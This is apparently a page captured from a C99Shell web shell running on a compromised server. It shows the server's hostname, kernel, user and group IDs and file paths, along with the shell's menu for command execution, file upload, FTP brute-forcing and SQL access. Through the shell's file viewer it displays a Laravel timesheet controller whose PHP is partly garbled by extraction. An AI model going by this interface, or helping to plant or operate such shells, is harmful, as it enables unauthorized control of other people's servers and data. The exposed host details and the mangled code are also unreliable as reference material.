!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TimesheetController.php (18.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\User;
use 
App\Models\Project;
use 
App\Models\Utility;
use 
App\Models\Timesheet;
use 
App\Models\ProjectTask;
use 
Carbon\CarbonPeriod;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;

class 
TimesheetController extends Controller
{
    public function 
timesheetView(Request $request$project_id)
    {
        
$authuser Auth::user();
        if(
\Auth::user()->can('manage timesheet'))
        {
            
$project_ids $authuser->projects()->pluck('project_id')->toArray();

            if(
in_array($project_id$project_ids))
            {
                
$project Project::where('id'$project_id)->first();

                return 
view('projects.timesheets.index'compact('project'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
appendTimesheetTaskHTML(Request $request)
    {

        
$project_id     $request->has('project_id') ? $request->project_id null;

        
$task_id        $request->has('task_id') ? $request->task_id null;
        
$selected_dates $request->has('selected_dates') ? $request->selected_dates null;

        
$returnHTML '';

        
$project Project::find($project_id);

        if(
$project)
        {
            
$task ProjectTask::find($task_id);

            if(
$task && $selected_dates)
            {
                
$twoDates explode(' - '$selected_dates);

                
$first_day   $twoDates[0];
                
$seventh_day $twoDates[1];

                
$period CarbonPeriod::create($first_day$seventh_day);

                
$returnHTML .= '<tr><td class="task-name">' $task->name '</td>';

                foreach(
$period as $key => $dateobj)
                {
                    
$returnHTML .= '<td>
 <input class="form-control border-dark wid-120 task-time day-time1 task-time" data-ajax-timesheet-popup="true" data-type="create" data-task-id="' 
$task->id '" data-date="' $dateobj->format('Y-m-d') . '" data-url="' route('timesheet.create'$project_id) . '" value="00:00">';


                }

                
$returnHTML .= '<td>
<input class="form-control border-dark wid-120 task-time total-task-time"  type="text" value="00:00" disabled>'
;
            }
        }

        return 
response()->json(
            [
                
'success' => true,
                
'html' => $returnHTML,
            ]
        );
    }

    public function 
filterTimesheetTableView(Request $request)
    {
        
$sectionTaskArray = [];
//        $authuser         = Auth::user();

        
$project Project::find($request->project_id);
        if(
Auth::user() != null){
            
$authuser         Auth::user();
        }else{
            
$authuser         User::where('id',$project->created_by)->first();
        }

        
$week             $request->week;
        
$project_id       $request->project_id;
        
$timesheet_type   'task';

        if(
$request->has('week') && $request->has('project_id'))
        {
          if(
$authuser->type == 'client'){

            
$project_ids Project::where('client_id',\Auth::user()->id)->pluck('id','id')->toArray();
          }else{

            
$project_ids $authuser->projects()->pluck('project_id','project_id')->toArray();
          }
            
$timesheets  Timesheet::select('timesheets.*')->join('projects''projects.id''=''timesheets.project_id');

            if(
$timesheet_type == 'task')
            {
                
$projects_timesheet $timesheets->join('project_tasks''project_tasks.id''=''timesheets.task_id');
            }
            if(
$project_id == '0')
            {
                
$projects_timesheet $timesheets->whereIn('projects.id'$project_ids);
            }
            else if(
in_array($project_id$project_ids))
            {
                
$projects_timesheet $timesheets->where('timesheets.project_id'$project_id);

            }

            
$days               Utility::getFirstSeventhWeekDay($week);
            
$first_day          $days['first_day'];
            
$seventh_day        $days['seventh_day'];
            
$onewWeekDate       $first_day->format('M d') . ' - ' $seventh_day->format('M d, Y');
            
$selectedDate       $first_day->format('Y-m-d') . ' - ' $seventh_day->format('Y-m-d');
            
$projects_timesheet $projects_timesheet->whereDate('date''>='$first_day->format('Y-m-d'))->whereDate('date''<='$seventh_day->format('Y-m-d'));

            if(
$project_id == '0')
            {
                
$timesheets $projects_timesheet->get()->groupBy(
                    [
                        
'project_id',
                        
'task_id',
                    ]
                )->
toArray();
            }
            else if(
in_array($project_id$project_ids))
            {
                
$timesheets $projects_timesheet->get()->groupBy('task_id')->toArray();

            }

            
$returnHTML Project::getProjectAssignedTimesheetHTML($projects_timesheet$timesheets$days$project_id);

            
$totalrecords count($timesheets);
            if(
$project_id != '0')
            {
                
$task_ids array_keys($timesheets);

                
$project  Project::find($project_id);

                
$sections ProjectTask::getAllSectionedTaskList($request$project, [], $task_ids);

                foreach(
$sections as $key => $section)
                {
                    
$taskArray                              = [];
                    
$sectionTaskArray[$key]['section_id']   = $section['section_id'];
                    
$sectionTaskArray[$key]['section_name'] = $section['section_name'];

                    foreach(
$section['sections'] as $taskkey => $task)
                    {
                        
$taskArray[$taskkey]['task_id']   = $task['id'];
                        
$taskArray[$taskkey]['task_name'] = $task['taskinfo']['task_name'];
                    }
                    
$sectionTaskArray[$key]['tasks'] = $taskArray;
                }
            }

            return 
response()->json(
                [
                    
'success' => true,
                    
'totalrecords' => $totalrecords,
                    
'selectedDate' => $selectedDate,
                    
'sectiontasks' => $sectionTaskArray,
                    
'onewWeekDate' => $onewWeekDate,
                    
'html' => $returnHTML,
                ]
            );
        }
    }

    public function 
timesheetCreate(Request $request)
    {
        if(
\Auth::user()->can('create timesheet'))
        {
            
$parseArray = [];

            
$authuser      Auth::user();
            
$project_id    $request->has('project_id') ? $request->project_id null;
            
$task_id       $request->has('task_id') ? $request->task_id null;
            
$selected_date $request->has('date') ? $request->date null;
            
$user_id       $request->has('date') ? $request->user_id null;

            
$created_by $user_id != null $user_id $authuser->id;

            
$projects $authuser->projects();

            if(
$project_id)
            {
                
$project $projects->where('projects.id''='$project_id)->pluck('projects.project_name''projects.id')->all();

                if(!empty(
$project) && count($project) > 0)
                {

                    
$project_id   key($project);
                    
$project_name $project[$project_id];

                    
$task ProjectTask::where(
                        [
                            
'project_id' => $project_id,
                            
'id' => $task_id,
                        ]
                    )->
pluck('name''id')->all();

                    
$task_id   key($task);
                    
$task_name $task[$task_id];

                    
$tasktime Timesheet::where('task_id'$task_id)->where('created_by'$created_by)->pluck('time')->toArray();

                    
$totaltasktime Utility::calculateTimesheetHours($tasktime);

                    
$totalhourstimes explode(':'$totaltasktime);

                    
$totaltaskhour   $totalhourstimes[0];
                    
$totaltaskminute $totalhourstimes[1];

                    
$parseArray = [
                        
'project_id' => $project_id,
                        
'project_name' => $project_name,
                        
'task_id' => $task_id,
                        
'task_name' => $task_name,
                        
'date' => $selected_date,
                        
'totaltaskhour' => $totaltaskhour,
                        
'totaltaskminute' => $totaltaskminute,
                    ];

                    return 
view('projects.timesheets.create'compact('parseArray'));
                }
            }
            else
            {
                
$projects $projects->get();

                return 
view('projects.timesheets.create'compact('projects''project_id''selected_date'));
            }
        }

        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
timesheetStore(Request $request)
    {
        if(
\Auth::user()->can('create timesheet'))
        {
            
$authuser Auth::user();
            
$project  Project::find($request->project_id);

            if(
$project)
            {

                
$request->validate(
                    [
                        
'date' => 'required',
                        
'time_hour' => 'required',
                        
'time_minute' => 'required',
                    ]
                );

                
$hour   $request->time_hour;
                
$minute $request->time_minute;

                
$time = ($hour != '' ? ($hour 10 '0' $hour $hour) : '00') . ':' . ($minute != '' ? ($minute 10 '0' $minute $minute) : '00');

                
$timesheet              = new Timesheet();
                
$timesheet->project_id  $request->project_id;
                
$timesheet->task_id     $request->task_id;
                
$timesheet->date        $request->date;
                
$timesheet->time        $time;
                
$timesheet->description $request->description;
                
$timesheet->created_by  $authuser->id;
                
$timesheet->save();

                return 
redirect()->back()->with('success'__('Timesheet Created Successfully!'));
            }
        }

        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
timesheetEdit(Request $request$project_id$timesheet_id)
    {
        if(
\Auth::user()->can('edit timesheet'))
        {
            
$authuser Auth::user();

            
$task_id    $request->has('task_id') ? $request->task_id null;
            
$user_id    $request->has('date') ? $request->user_id null;
            
$created_by $user_id != null $user_id $authuser->id;

            
$project_view '';

            if(
$request->has('project_view'))
            {
                
$project_view $request->project_view;
            }

            
$projects $authuser->projects();

            
$timesheet Timesheet::find($timesheet_id);

            if(
$timesheet)
            {

                
$project $projects->where('projects.id''='$project_id)->pluck('projects.project_name''projects.id')->all();

                if(!empty(
$project) && count($project) > 0)
                {

                    
$project_id   key($project);
                    
$project_name $project[$project_id];

                    
$task ProjectTask::where(
                        [
                            
'project_id' => $project_id,
                            
'id' => $task_id,
                        ]
                    )->
pluck('name''id')->all();

                    
$task_id   key($task);
                    
$task_name $task[$task_id];

                    
$tasktime Timesheet::where('task_id'$task_id)->where('created_by'$created_by)->pluck('time')->toArray();

                    
$totaltasktime Utility::calculateTimesheetHours($tasktime);

                    
$totalhourstimes explode(':'$totaltasktime);

                    
$totaltaskhour   $totalhourstimes[0];
                    
$totaltaskminute $totalhourstimes[1];

                    
$time explode(':'$timesheet->time);

                    
$parseArray = [
                        
'project_id' => $project_id,
                        
'project_name' => $project_name,
                        
'task_id' => $task_id,
                        
'task_name' => $task_name,
                        
'time_hour' => $time[0] < 10 $time[0] : $time[0],
                        
'time_minute' => $time[1] < 10 $time[1] : $time[1],
                        
'totaltaskhour' => $totaltaskhour,
                        
'totaltaskminute' => $totaltaskminute,
                    ];

                    return 
view('projects.timesheets.edit'compact('timesheet''parseArray'));
                }
            }
        }

        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
timesheetUpdate(Request $request$timesheet_id)
    {
        if(
\Auth::user()->can('edit timesheet'))
        {
            
$project Project::find($request->project_id);

            if(
$project)
            {

                
$request->validate(
                    [
                        
'date' => 'required',
                        
'time_hour' => 'required',
                        
'time_minute' => 'required',
                    ]
                );

                
$hour   $request->time_hour;
                
$minute $request->time_minute;

                
$time = ($hour != '' ? ($hour 10 '0' $hour $hour) : '00') . ':' . ($minute != '' ? ($minute 10 '0' $minute $minute) : '00');

                
$timesheet              Timesheet::find($timesheet_id);
                
$timesheet->project_id  $request->project_id;
                
$timesheet->task_id     $request->task_id;
                
$timesheet->date        $request->date;
                
$timesheet->time        $time;
                
$timesheet->description $request->description;
                
$timesheet->save();

                return 
redirect()->back()->with('success'__('Timesheet Updated Successfully!'));
            }
        }

        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
timesheetDestroy($timesheet_id)
    {
        if(
\Auth::user()->can('delete timesheet'))
        {
            
$timesheet Timesheet::find($timesheet_id);

            if(
$timesheet)
            {
                
$timesheet->delete();
            }

            return 
redirect()->back()->with('success'__('Timesheet deleted Successfully!'));
        }

        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
timesheetList()
    {
            return 
view('projects.timesheet_list');
    }

    public function 
timesheetListGet(Request $request)
    {
        
$authuser Auth::user();
        
$week     $request->week;

        if(
$request->has('week') && $request->has('project_id'))
        {
            
$project_id $request->project_id;

            
$project_ids        $authuser->projects()->pluck('project_id')->toArray();
            
$timesheets         Timesheet::select('timesheets.*')->join('projects''projects.id''=''timesheets.project_id');
            
$projects_timesheet $timesheets->join('project_tasks''project_tasks.id''=''timesheets.task_id');

            if(
$project_id == '0')
            {
                
$projects_timesheet $timesheets->whereIn('projects.id'$project_ids);
            }
            else if(
in_array($project_id$project_ids))
            {
                
$projects_timesheet $timesheets->where('timesheets.project_id'$project_id);
            }

            
$days        Utility::getFirstSeventhWeekDay($week);
            
$first_day   $days['first_day'];
            
$seventh_day $days['seventh_day'];

            
$onewWeekDate $first_day->format('M d') . ' - ' $seventh_day->format('M d, Y');
            
$selectedDate $first_day->format('Y-m-d') . ' - ' $seventh_day->format('Y-m-d');

            
$projects_timesheet $projects_timesheet->whereDate('date''>='$first_day->format('Y-m-d'))->whereDate('date''<='$seventh_day->format('Y-m-d'));

            if(
$project_id == '0')
            {
                
$timesheets $projects_timesheet->get()->groupBy(
                    [
                        
'project_id',
                        
'task_id',
                    ]
                )->
toArray();
            }
            else if(
in_array($project_id$project_ids))
            {
                
$timesheets $projects_timesheet->get()->groupBy('task_id')->toArray();
            }

            
$returnHTML Project::getProjectAssignedTimesheetHTML($projects_timesheet$timesheets$days$project_id);

            
$totalrecords count($timesheets);

            if(
$project_id != '0')
            {
                
$task_ids array_keys($timesheets);
                
$project  Project::find($project_id);
                
$sections ProjectTask::getAllSectionedTaskList($request$project, [], $task_ids);

                foreach(
$sections as $key => $section)
                {
                    
$taskArray = [];

                    
$sectionTaskArray[$key]['section_id']   = $section['section_id'];
                    
$sectionTaskArray[$key]['section_name'] = $section['section_name'];

                    foreach(
$section['sections'] as $taskkey => $task)
                    {
                        
$taskArray[$taskkey]['task_id']   = $task['id'];
                        
$taskArray[$taskkey]['task_name'] = $task['taskinfo']['task_name'];
                    }
                    
$sectionTaskArray[$key]['tasks'] = $taskArray;
                }
            }

            return 
response()->json(
                [
                    
'success' => true,
                    
'totalrecords' => $totalrecords,
                    
'selectedDate' => $selectedDate,
                    
'sectiontasks' => $sectionTaskArray,
                    
'onewWeekDate' => $onewWeekDate,
                    
'html' => $returnHTML,
                ]
            );
        }
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--